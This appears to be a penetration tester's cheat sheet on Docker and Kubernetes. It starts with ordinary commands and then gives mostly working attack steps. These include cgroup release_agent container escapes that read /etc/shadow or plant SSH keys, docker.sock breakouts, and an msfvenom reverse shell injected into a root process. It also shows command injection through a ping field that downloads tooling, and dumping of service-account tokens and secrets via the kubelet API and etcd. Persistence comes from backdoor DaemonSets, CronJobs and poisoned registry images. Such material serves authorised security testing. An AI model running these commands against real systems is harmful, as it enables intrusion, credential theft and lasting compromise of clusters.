Docker && Kubernetes

Docker

Concepts

• Docker Image

  • Read only file with OS, libraries and apps

  • Anyone can create a docker image

  • Images can be stored in Docker hub (default public registry) or private registry

• Docker Container

  • Stateful instance of an image with a writable layer

  • Contains everything needed to run your application

  • Based on one or more images

• Docker Registry

  • Repository of images

• Docker Hub

  • Public docker registry

• Dockerfile

  • Configuration file that contains instructions for building a Docker image

• Docker-compose file

  • Configuration file for docker-compose

• Docker Swarm

  • Group of machines that are running Docker and joined into a cluster.

  • When you run docker commands, they are executed by a swarm manager.

• Portainer

  • Management solution for Docker hosts and Docker Swarm clusters

  • Via web interface

• Docker capabilities

  • Turn the binary "root/non-root" into a fine-grained access control system.

  • Processes that just need to bind on a port below 1024 do not have to run as root, they can just be granted the net_bind_service capability instead.

• Docker Control Groups

  • Used to allocate cpu, memory, network bandwith of host to container groups.

Commands

# Search in docker hub
docker search wpscan
# Run docker container from docker hub
docker run ubuntu:latest echo "Welcome to Ubuntu"
# Run docker container from docker hub with interactive tty
docker run --name samplecontainer -it ubuntu:latest /bin/bash
# List running containers
docker ps
# List all containers
docker ps -a
# List docker images
docker images
# Run docker in background
docker run --name pingcontainer -d alpine:latest ping 127.0.0.1 -c 50
# Get container logs
docker logs -f pingcontainer
# Run container service in specified port
docker run -d --name nginxalpine -p 7777:80 nginx:alpine
# Access tty of running container
docker exec -it nginxalpine sh
# Get low-level info of docker object
docker inspect (container or image)
# Show image history
docker history jess/htop
# Stop container
docker stop dummynginx
# Remove container
docker rm dummynginx
# Run docker with specified PID namespace
docker run --rm -it --pid=host jess/htop

# Show logs
docker logs containername
docker logs -f containername
# Show service defined logs
docker service logs
# Look generated real time events by docker runtime
docker system events
docker events --since '10m'
docker events --filter 'image=alpine'
docker events --filter 'event=stop'

# Compose application (set up multicontainer docker app)
docker-compose up -d
# List docker volumes
docker volume ls
# Create volume
docker volume create vol1
# List docker networks
docker network ls
# Create docker network
docker network create net1
# Remove captability of container
docker run --rm -it --cap-drop=NET_RAW alpine sh
# Check capabilities inside container
docker run --rm -it 71aa5f3f90dc bash
capsh --print
# Run full privileged container
docker run --rm -it --privileged=true 71aa5f3f90dc bash
capsh --print
# From full privileged container you can access host devices
more /dev/kmsg

# Creating container groups
docker run -d --name='low_priority' --cpuset-cpus=0 --cpu-shares=10 alpine md5sum /dev/urandom
docker run -d --name='high_priority' --cpuset-cpus=0 --cpu-shares=50 alpine md5sum /dev/urandom
# Stopping cgroups
docker stop low_priority high_priority
# Remove cgroups
docker rm low_priority high_priority

# Setup docker swarm cluster
docker swarm init
# Check swarm nodes
docker node ls
# Start new service in cluster
docker service create --replicas 1 --publish 5555:80 --name nginxservice
nginx:alpine
# List services
docker service ls
# Inspect service
docker service inspect --pretty nginxservice
# Remove service
docker service rm nginxservice
# Leave cluster
docker swarm leave (--force if only one node)

# Start portainer
docker run -d -p 9000:9000 --name portainer \
--restart always -v /var/run/docker.sock:/var/run/docker.sock \
-v /opt/portainer:/data portainer/portainer


# Tools
# https://github.com/lightspin-tech/red-kube

Docker security basics

# Get image checksum
docker images --digests ubuntu
# Check content trust to get signatures
docker trust inspect mediawiki --pretty
# Check vulns in container
- Look vulns in base image
- Use https://vulners.com/audit to check for docker packages
- Inside any container
cat /etc/issue
dpkg-query -W -f='${Package} ${Version} ${Architecture}\n'
- Using Trivy https://github.com/aquasecurity/trivy
trivy image knqyf263/vuln-image:1.2.3
# Check metadata, secrets, env variables
docker inspect <image name>
docker inspect <container name>
# Review image history
docker history image:latest
# Inspect everything
docker volume inspect wordpress_db_data
docker network inspect wordpress_default
# Interesting look in the volume mountpoints
docker volume inspect whatever
cd /var/lib/docker/volumes/whatever
# Integrity check for changed files
docker diff imagename
# Check if you're under a container
https://github.com/genuinetools/amicontained#usage
# Docker Bench Security (Security Auditor)
cd /opt/docker-bench-security
sudo bash docker-bench-security.sh

Detect inside a docker or running containers

- MAC Address
    - Docker uses a range from 02:42:ac:11:00:00 to 02:42:ac:11:ff:ff
- List of running processes (ps aux)
    - Small number of processes generally indicate a container
- CGROUPs
    - cat /proc/1/cgroup – should show docker process running
- Check for existence of docker.sock (ls -al /var/run/docker.sock)
- Check for container capabilities: capsh –print
- On Pentests, check for tcp ports 2375 and 2376 – Default docker daemon ports

Escape NET_ADMIN docker container

# Check if you're NET_ADMIN
ip link add dummy0 type dummy
ip link delete dummy0
# If it works, this script execute 'ps aux' in host:
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/xecho 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agentecho '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmdsh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# You can replace the 'ps aux' command for:
cat id_dsa.pub >> /root/.ssh/authorized_keys

Attack insecure volume mounts

# After get reverse shell in docker container (eg insecure webapp with RCE)
# This commands are executed inside insecure docker container
# Check if it's available docker.sock
ls -l /var/run/docker.sock
# This allows to access the host docker service using host option with docker client by using the UNIX socket
# Now download docker client in container and run commands in host
./docker -H unix:///var/run/docker.sock ps
./docker -H unix:///var/run/docker.sock images

Attack docker misconfiguration

# Docker container with exposed ports running docker service
# Docker API is exposed in those docker ports
# Check query docker API with curl
curl 10.11.1.111:2375/images/json | jq .
# Then you can run commands in host machine
docker -H tcp://10.11.1.111:2375 ps
docker -H tcp://10.11.1.111:2375 images

Audit Docker Runtime and Registries

# Runtime

# Host with multiple dockers running
# Check docker daemon
docker system info
# Check docker API exposed on 0.0.0.0
cat /lib/systemd/system/docker.service
# Check if docker socket is running in any container
docker inspect | grep -i '/var/run/'
# Check rest of files docker related
ls -l /var/lib/docker/
# Check for any secret folder
ls -l /var/run/
ls -l /run/

# Public Registries
# Docker registry is a distribution system for Docker images. There will be diferent images and each may contain multiple tags and versions. By default the registry runs on port 5000 without authentication and TLS
# Check if docker registry is up and running
curl -s http://localhost:5000/v2/_catalog | jq .
# Get tags of docker image
curl -s http://localhost:5000/v2/devcode/tags/list | jq .
# Download image locally
docker pull localhost:5000/devcode:latest
# Access container to review it
docker run --rm -it localhost:5000/devcode:latest sh
# Once mounted we can check the docker daemon config to see user and registry
docker system info
# And we can check the registries configured for the creds
cat ~/.docker/config.json

# Private registries
# Check catalog
curl 10.11.1.111:5000/v2/_catalog
# Get image tags
curl 10.11.1.111:5000/v2/privatecode/tags/list
# Add the insecure-registry tag to download docker image
vi /lib/systemd/system/docker.service
ExecStart=/usr/bin/dockerd -H fd:// --insecure-registry 10.11.1.111:5000
# Restart docker service
sudo systemctl daemon-reload
sudo service docker restart
# Download the image
docker pull 10.11.1.111:5000/privatecode:whatevertag
# Enter inside container and enumerate
docker run --rm -it 10.11.1.111:5000/privatecode:golang-developer-team sh
cd /app
ls -la

Attack container capabilities

# Host with sys_ptrace capability enabled with host PID space. So it runs top command of host
# You're already inside container
# Check capabilities
capsh --print
# Upload reverse shell and linux-injector
msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f raw -o payload.bin
# Check any process running as root
ps aux | grep root
./injector PID_RUNNING_AS_ROOT payload.bin

Tools

# https://github.com/anchore/grype
# https://github.com/aquasecurity/trivy
# https://github.com/cr0hn/dockerscan
# https://github.com/P3GLEG/Whaler
# https://github.com/RhinoSecurityLabs/ccat
https://github.com/stealthcopter/deepce
https://github.com/anchore/grype

Kubernetes

Kubernetes for Pentesters: Part 1TrustedSec

A Pentester’s Approach to Kubernetes Security — Part 1Medium

A Pentester’s Approach to Kubernetes Security — Part 2Medium

Penetration testing a Kubernetes environmentMedium

Concepts

• Kubernetes is a security orchestrator

• Kubernetes master provides an API to interact with nodes

• Each Kubernetes node run kubelet to interact with API and kube-proxy to refect Kubernetes networking services on each node.

• Kubernetes objects are abstractions of states of your system.

  • Pods: collection of container share a network and namespace in the same node.

  • Services: Group of pods running in the cluster.

  • Volumes: directory accesible to all containers in a pod. Solves the problem of loose info when container crash and restart.

  • Namespaces: scope of Kubernetes objects, like a workspace (dev-space).

Commands

# kubectl cli for run commands against Kubernetes clusters
# Get info
kubectl cluster-info
# Get other objects info
kubectl get nodes
kubectl get pods
kubectl get services
# Deploy
kubectl run nginxdeployment --image=nginx:alpine
# Port forward to local machine
kubectl port-forward <PODNAME> 1234:80
# Deleting things
kubectl delete pod
# Shell in pod
kubectl exec -it <PODNAME> sh
# Check pod log
kubectl logs <PODNAME>
# List API resources
kubectl api-resources
# Check permissions
kubectl auth can-i create pods
# Get secrets
kubectl get secrets <SECRETNAME> -o yaml
# Get more info of specific pod
kubectl describe pod <PODNAME>
# Get cluster info
kubectl cluster-info dump

# Known vulns
CVE-2016-9962
CVE-2018-1002105
CVE-2019-5736
CVE-2019-9901

External Recon

# Find subdomains like k8s.target.tld
# Search for yaml files on GitHub
# Check etcdtcl exposed public 
etcdctl –endpoints=http://<MASTER-IP>:2379 get / –prefix –keys-only
# Check pods info disclosure on http://<external-IP>:10255/pods

Common open ports

Common endpoints

Quick attacks

# Dump all
for res in $(kubectl api-resources -o name);do kubectl get "${res}" -A -o yaml > ${res}.yaml; done

# Check for anon access
curl -k https://<master_ip>:<port>
etcdctl –endpoints=http://<MASTER-IP>:2379 get / –prefix –keys-only
curl http://<external-IP>:10255/pods

#Dump tokens from inside the pod
kubectl exec -ti <pod> -n <namespace> cat /run/secrets/kubernetes.io/serviceaccount/token

#Dump all tokens from secrets
kubectl get secrets -A -o yaml | grep " token:" | sort | uniq > alltokens.txt

#Standard query for creds dump:
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/<namespace>/secrets/
# This also could works /api/v1/namespaces/kube-system/secrets/

Attack Private Registry misconfiguration

# Web application deployed vulnerable to lfi
# Read configuration through LFI
cat /root/.docker/config.json
# Download this file to your host and configure in your system
docker login -u _json_key -p "$(cat config.json)" https://gcr.io
# Pull the private registry image to get the backend source code
docker pull gcr.io/training-automation-stuff/backend-source-code:latest
# Inspect and enumerate the image
docker run --rm -it gcr.io/training-automation-stuff/backend-source-code:latest
# Check for secrets inside container
ls -l /var/run/secrets/kubernetes.io/serviceaccount/
# Check environment vars
printenv

Attack Cluster Metadata with SSRF

# Webapp that check the health of other web applications
# Request to 
curl http://169.254.169.254/computeMetadata/v1/
curl http://169.254.169.254/computeMetadata/v1/instance/attributes/kube-env

Attack escaping pod volume mounts to access node and host

# Webapp makes ping
# add some listing to find docker.sock
ping whatever;ls -l /custom/docker/
# Once found, download docker client
ping whatever;wget https://download.docker.com/linux/static/stable/x86_64/docker-18.09.1.tgz -O /root/docker-18.09.1.tgz
ping whatever;tar -xvzf /root/docker-18.09.1.tgz -C /root/
ping whatever;/root/docker/docker -H unix:///custom/docker/docker.sock ps
ping whatever;/root/docker/docker -H unix:///custom/docker/docker.sock images

Container Escape Techniques

# Container escapes allow breaking out of containerization to access the host

# 1. Privileged Container Escape
# Check if privileged
cat /proc/self/status | grep CapEff
# If 0000003fffffffff = privileged

# Mount host filesystem
mkdir -p /mnt/host
mount /dev/sda1 /mnt/host
# Or find device
fdisk -l
mount /dev/vda1 /mnt/host

# Access host
ls /mnt/host
cat /mnt/host/etc/shadow
chroot /mnt/host

# 2. Docker Socket Escape
# Check for docker socket
ls -la /var/run/docker.sock

# Use socket to run privileged container
docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host

# 3. SYS_ADMIN Capability Escape (cgroups)
# Check for SYS_ADMIN
capsh --print | grep sys_admin

# notify_on_release escape
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "cat /etc/shadow > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
cat /output

# 4. CVE-2022-0185 (Kernel < 5.16.2)
# File system context overflow
# https://github.com/Crusaders-of-Rust/CVE-2022-0185

# 5. CVE-2022-0492 (cgroups escape)
# Unfiltered cgroup release_agent
# Exploit similar to SYS_ADMIN escape above

# 6. runc CVE-2019-5736
# Overwrite host runc binary
# https://github.com/Frichetten/CVE-2019-5736-PoC

Kubernetes RBAC Exploitation

# RBAC = Role-Based Access Control

# Check current permissions
kubectl auth can-i --list
kubectl auth can-i create pods
kubectl auth can-i get secrets

# Enumerate roles
kubectl get roles -A
kubectl get clusterroles
kubectl get rolebindings -A
kubectl get clusterrolebindings

# Describe specific role
kubectl describe role <role-name> -n <namespace>
kubectl describe clusterrole <role-name>

# Dangerous permissions to look for:
# - pods/exec (exec into pods)
# - secrets (read secrets)
# - pods (create pods = potential escape)
# - create rolebindings (privilege escalation)
# - impersonate (impersonate other users/service accounts)

# If you can create pods, mount service account with more privileges
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: attacker-pod
  namespace: kube-system
spec:
  serviceAccountName: admin-sa
  containers:
  - name: shell
    image: ubuntu
    command: ["/bin/bash", "-c", "sleep infinity"]
EOF

# If you have impersonate permissions
kubectl auth can-i --list --as=system:admin

# Create rolebinding for privilege escalation
kubectl create rolebinding attacker-admin --clusterrole=admin --user=attacker -n default

etcd Exploitation

# etcd stores all Kubernetes cluster data

# Check if etcd is exposed (typically port 2379)
nmap -p 2379 <master-ip>

# Connect without auth (misconfigured)
etcdctl --endpoints=http://<IP>:2379 get / --prefix --keys-only

# Get all secrets
etcdctl --endpoints=http://<IP>:2379 get /registry/secrets --prefix

# Dump specific secret
etcdctl --endpoints=http://<IP>:2379 get /registry/secrets/default/my-secret

# If TLS is enabled but you have certs
etcdctl --endpoints=https://<IP>:2379 \
  --cacert=/etc/kubernetes/pki/etcd/ca.crt \
  --cert=/etc/kubernetes/pki/etcd/server.crt \
  --key=/etc/kubernetes/pki/etcd/server.key \
  get / --prefix --keys-only

# Extract tokens from etcd dump
strings etcd_dump | grep "eyJ" | sort -u

Helm Chart Vulnerabilities

# Helm = Kubernetes package manager
# Charts may contain security issues

# List installed releases
helm list -A

# Get chart values (may contain secrets)
helm get values <release-name>
helm get values <release-name> --all

# Get chart manifest
helm get manifest <release-name>

# Check for common issues:
# - Hardcoded credentials in values.yaml
# - Privileged containers
# - Host network/PID namespace
# - Missing security contexts
# - Exposed services

# Download and inspect chart
helm pull <repo>/<chart>
tar -xzf <chart>.tgz
cat <chart>/values.yaml
cat <chart>/templates/*.yaml

# Search for secrets in charts
grep -r "password\|secret\|key\|token" <chart>/

Service Account Token Abuse

# Service account tokens are mounted in pods by default
# Located at /var/run/secrets/kubernetes.io/serviceaccount/

# Read token
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)

# Find API server
APISERVER=https://kubernetes.default.svc

# List pods with token
curl -s --cacert $CACERT --header "Authorization: Bearer $TOKEN" \
  $APISERVER/api/v1/namespaces/$NAMESPACE/pods

# List secrets
curl -s --cacert $CACERT --header "Authorization: Bearer $TOKEN" \
  $APISERVER/api/v1/namespaces/$NAMESPACE/secrets

# Create pod (if allowed)
curl -s --cacert $CACERT --header "Authorization: Bearer $TOKEN" \
  --header "Content-Type: application/json" \
  -X POST -d @pod.json \
  $APISERVER/api/v1/namespaces/$NAMESPACE/pods

Kubelet API Exploitation

# Kubelet runs on each node (port 10250, 10255)
# 10255 is read-only, 10250 requires auth (usually)

# Check for unauthenticated kubelet
curl -k https://<node-ip>:10250/pods

# List pods
curl -k https://<node-ip>:10250/pods | jq '.items[].metadata.name'

# Execute command in pod (if allowed)
curl -k -X POST "https://<node-ip>:10250/run/<namespace>/<pod>/<container>" \
  -d "cmd=id"

# Using kubeletctl
kubeletctl -s <node-ip> pods
kubeletctl -s <node-ip> exec "/bin/bash" -p <pod> -c <container>
kubeletctl -s <node-ip> scan rce

# Dump tokens from all pods
for pod in $(kubeletctl -s <node-ip> pods | grep -oP 'pod-\d+'); do
  kubeletctl -s <node-ip> exec "cat /var/run/secrets/kubernetes.io/serviceaccount/token" -p $pod
done

Container Registry Attacks

# Docker registries often contain sensitive images

# Check for unauthenticated registry
curl http://<registry>:5000/v2/_catalog

# List tags
curl http://<registry>:5000/v2/<image>/tags/list

# Download image manifest
curl http://<registry>:5000/v2/<image>/manifests/latest

# Pull layers
curl http://<registry>:5000/v2/<image>/blobs/<digest> --output layer.tar.gz

# Look for secrets in layers
tar -xzf layer.tar.gz
grep -r "password\|secret\|key" .

# Push malicious image (if write access)
# Tag and push backdoored version
docker tag malicious:latest <registry>:5000/<legitimate-image>:latest
docker push <registry>:5000/<legitimate-image>:latest

Kubernetes Persistence

# Backdoor via DaemonSet (runs on all nodes)
kubectl create daemonset backdoor --image=attacker/backdoor

# Backdoor via CronJob
cat <<EOF | kubectl apply -f -
apiVersion: batch/v1
kind: CronJob
metadata:
  name: system-maintenance
spec:
  schedule: "*/5 * * * *"
  jobTemplate:
    spec:
      template:
        spec:
          containers:
          - name: maintenance
            image: attacker/backdoor
          restartPolicy: OnFailure
EOF

# Webhook persistence (mutating admission webhook)
# All pods go through your webhook = full control

# Service account token doesn't expire
# Save tokens for later use

# Add SSH key to node via privileged pod
kubectl exec -it priv-pod -- sh -c 'echo "ssh-rsa AAAA..." >> /host/root/.ssh/authorized_keys'

Service Mesh Attacks

# Istio/Linkerd service meshes

# Check for Istio
kubectl get pods -n istio-system

# Access Istio control plane
kubectl get svc -n istio-system

# Dump Istio configuration
istioctl proxy-config all <pod-name>

# Check for permissive mTLS (bypass auth)
kubectl get peerauthentication -A

# Sidecar injection = all traffic intercepted
# If you control sidecar config, you can intercept all traffic

# Kiali dashboard (Istio observability) - often exposed
curl http://<kiali>:20001/kiali

Advanced Tools

# peirates - Kubernetes penetration testing
# https://github.com/inguardians/peirates
./peirates

# Kube-hunter
# https://github.com/aquasecurity/kube-hunter
kube-hunter --remote <target>
kube-hunter --pod  # From inside pod

# Kubestriker
# https://github.com/vchinnipilli/kubestriker
python -m kubestriker

# KubeAudit
# https://github.com/Shopify/kubeaudit
kubeaudit all

# Trivy (container scanning)
trivy image <image>

# Falco (runtime security)
# Useful for understanding what triggers detection

# kube-bench - secutity checker
kubectl apply -f kube-bench-node.yaml
kubectl get pods --selector job-name=kube-bench-node
kubectl logs kube-bench-podname

# https://github.com/aquasecurity/kube-hunter
kube-hunter --remote some.node.com

# kubeaudit
./kubeaudit all

# kubeletctl
# https://github.com/cyberark/kubeletctl
kubeletctl scan rce XXXXXXXX

# https://github.com/cdk-team/CDK
cdk evaluate

# Api audit
# https://github.com/averonesis/kubolt

# PurplePanda https://github.com/carlospolop/PurplePanda

Related

Argo Workflows - Uncovering the Hidden Misconfigurations | E.V.Awww.evasec.io